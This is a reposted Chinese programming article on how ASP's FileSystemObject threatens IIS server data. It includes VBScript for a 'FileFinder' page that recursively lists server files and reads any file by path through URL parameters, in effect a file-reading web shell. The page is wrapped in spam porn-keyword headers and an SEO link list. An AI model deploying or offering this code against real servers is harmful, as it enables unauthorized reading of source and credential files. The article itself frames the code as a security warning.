国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

ASP中FSO對象對IIS WEB服務器數據安全的威脅及對策

2024-05-04 10:58:52
字體:
來源:轉載
供稿:網友
scripting.filesystemobject 對象是由 scrrun.dll 提供的許多供 vbscript/jscript 控制的 com 對象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目錄的訪問,但是同時也對 iis web 服務器數據安全造成了一定的威脅。

filefinder 的代碼很簡單,由3 個函數和 30 行左右的順序代碼構成。

最關鍵的是 findfiles 函數,通過對它的遞歸調用實現對某個目錄的遍歷,并且按照特定的文件擴展名來搜尋這些文件。


function findfiles(strstartfolder, strext)

dim n

dim othisfolder

dim ofolders

dim ofiles

dim ofolder

dim ofile


' 如果系統管理員對文件系統的權限進行細致的設置話,下面的代碼就要出錯

' 但是有些目錄還是可以察看的,所以我們簡單的把錯誤忽略過去

on error resume next

n = 0

response.write "<b>searching " & strstartfolder & "</b><br>"

set othisfolder = g_fs.getfolder(strstartfolder)

set ofiles = othisfolder.files

for each ofile in ofiles

' 如果是指定的文件擴展名,輸出連接導向本身,但用不同的命令 cmd

' 在這里是 cmd=read,即讀出指定物理路徑的文本文件

if issuffix(ofile.path, strext) then

response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"

if err = 0 then

n = n + 1

end if

end if

next

set ofolders = othisfolder.subfolders

for each ofolder in ofolders

n = n + findfiles(ofolder.path, strext)

next

findfiles = n

end function

下面的代碼是對 url 后面的參數進行分析:


' 讀出各個參數的值

strcmd = ucase(request.querystring("cmd"))

strpath = request.querystring("path")

strext = request.querystring("ext")

brawdata = ucase(request.querystring("raw"))

' 默認搜索 .asp 文件

if strpath = "" then

strpath = "."

end if

if strext = "" then

strext = ".asp"

end if


' 根據不同的命令 cmd 執行不同的代碼

select case strcmd

case "find"

response.write findfiles(strpath, strext) & " file(s) found"

case "read"

if brawdata = "t" then

response.write readtextfile(strpath)

else

response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"

end if

case else

response.write "<h3>please specify a command to execute</h3>"

end select

從上面的分析可以看出,如果有足夠的權限的話,我們就可以通過 filefinder 來查找 iis web 服務器上的任意文本文件,并且可以輕松的察看文件內容。對于非文本文件,可以確定他們是否存在及其所在路徑,這對于高級 hacker 們來說,這些信息有時是極其重要的。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 灵石县| 开远市| 宾阳县| 长葛市| 河北区| 三门峡市| 新密市| 靖宇县| 蕲春县| 兴国县| 松滋市| 车险| 廊坊市| 镶黄旗| 白沙| 台北市| 福建省| 原平市| 兴山县| 桂东县| 克拉玛依市| 云安县| 桃园县| 北辰区| 蒲城县| 盈江县| 昌江| 应城市| 祁门县| 长兴县| 福州市| 秭归县| 城市| 德阳市| 宿迁市| 吉隆县| 巴彦县| 海阳市| 湖南省| 大石桥市| 邹平县|